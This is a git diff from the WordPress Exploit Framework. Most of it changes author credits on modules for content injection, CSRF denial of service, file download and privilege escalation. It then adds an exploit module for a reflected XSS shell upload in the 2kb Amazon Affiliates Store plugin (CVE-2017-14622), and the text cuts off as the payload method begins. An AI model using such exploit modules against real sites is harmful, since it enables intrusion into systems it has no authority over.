WPXF module ], references: [ ['WPVDB', '7861'], diff --git a/modules/auxiliary/wp_v4.7.1_content_injection.rb b/modules/auxiliary/wp_v4.7.1_content_injection.rb index 6756685..4c0b277 100644 --- a/modules/auxiliary/wp_v4.7.1_content_injection.rb +++ b/modules/auxiliary/wp_v4.7.1_content_injection.rb @@ -17,8 +17,8 @@ def initialize update the post with the specified content, title and or excerpt. ), author: [ - 'Sucuri ', # Disclosure - 'Rob Carr ' # WPXF module + 'Sucuri ', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8734'], diff --git a/modules/auxiliary/wp_v4.7.2_csrf_dos.rb b/modules/auxiliary/wp_v4.7.2_csrf_dos.rb index f179523..56e1736 100644 --- a/modules/auxiliary/wp_v4.7.2_csrf_dos.rb +++ b/modules/auxiliary/wp_v4.7.2_csrf_dos.rb @@ -14,8 +14,8 @@ def initialize administrator visits a malicious URL. ), author: [ - 'Sipke Mellema', # Vulnerability disclosure - 'Rob Carr ' # WPXF module + 'Sipke Mellema', # Vulnerability disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8770'], diff --git a/modules/auxiliary/wp_v4.7_user_info_disclosure.rb b/modules/auxiliary/wp_v4.7_user_info_disclosure.rb index 155306b..83626fe 100644 --- a/modules/auxiliary/wp_v4.7_user_info_disclosure.rb +++ b/modules/auxiliary/wp_v4.7_user_info_disclosure.rb @@ -14,7 +14,7 @@ def initialize registering or having an account. ), author: [ - 'Rob Carr ' # WPXF module + 'rastating' # WPXF module ], references: [ ['WPVDB', '8715'], diff --git a/modules/auxiliary/wp_vault_file_download.rb b/modules/auxiliary/wp_vault_file_download.rb index 6f9b555..99a4cd0 100644 --- a/modules/auxiliary/wp_vault_file_download.rb +++ b/modules/auxiliary/wp_vault_file_download.rb @@ -14,8 +14,8 @@ def initialize PHP files. ), author: [ - 'Lenon Leite', # Disclosure - 'Rob Carr ' # WPXF module + 'Lenon Leite', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8684'] diff --git a/modules/auxiliary/wplms_privilege_escalation.rb b/modules/auxiliary/wplms_privilege_escalation.rb index 9f532b3..f873616 100644 --- a/modules/auxiliary/wplms_privilege_escalation.rb +++ b/modules/auxiliary/wplms_privilege_escalation.rb @@ -24,8 +24,8 @@ def initialize 'privileges via the default registration page found at '\ '/wp-login.php?action=register.', author: [ - 'Evex', # Vulnerability discovery - 'Rob Carr ' # WPXF module + 'Evex', # Vulnerability discovery + 'rastating' # WPXF module ], references: [ ['WPVDB', '7785'] diff --git a/modules/auxiliary/wptf_image_gallery_arbitrary_file_download.rb b/modules/auxiliary/wptf_image_gallery_arbitrary_file_download.rb index 011e7a9..ba02c5f 100644 --- a/modules/auxiliary/wptf_image_gallery_arbitrary_file_download.rb +++ b/modules/auxiliary/wptf_image_gallery_arbitrary_file_download.rb @@ -9,8 +9,8 @@ def initialize update_info( name: 'WPTF Image Gallery Arbitrary File Download', author: [ - 'Larry W. Cashdollar', # Disclosure - 'Rob Carr ' # WPXF module + 'Larry W. Cashdollar', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8106'], diff --git a/modules/exploits/2kb_amazon_affiliates_store_reflected_xss_shell_upload.rb b/modules/exploits/2kb_amazon_affiliates_store_reflected_xss_shell_upload.rb new file mode 100644 index 0000000..8b4ec6e --- /dev/null +++ b/modules/exploits/2kb_amazon_affiliates_store_reflected_xss_shell_upload.rb @@ -0,0 +1,34 @@ +# frozen_string_literal: true + +class Wpxf::Exploit::TwoKbAmazonAffiliatesStoreReflectedXssShellUpload < Wpxf::Module + include Wpxf::WordPress::ReflectedXss + + def initialize + super + + update_info( + name: '2kb Amazon Affiliates Store <= 2.1.0 Reflected XSS Shell Upload', + author: [ + 'rsanchezr', # Dislosure + 'rastating' # WPXF module + ], + references: [ + ['CVE', '2017-14622'], + ['WPVDB', '8918'] + ], + date: 'Sep 20 2017' + ) + end + + def check + check_plugin_version_from_changelog('2kb-amazon-affiliates-store', 'readme.txt', '2.1.1') + end + + def xss_payload + url_encode("\">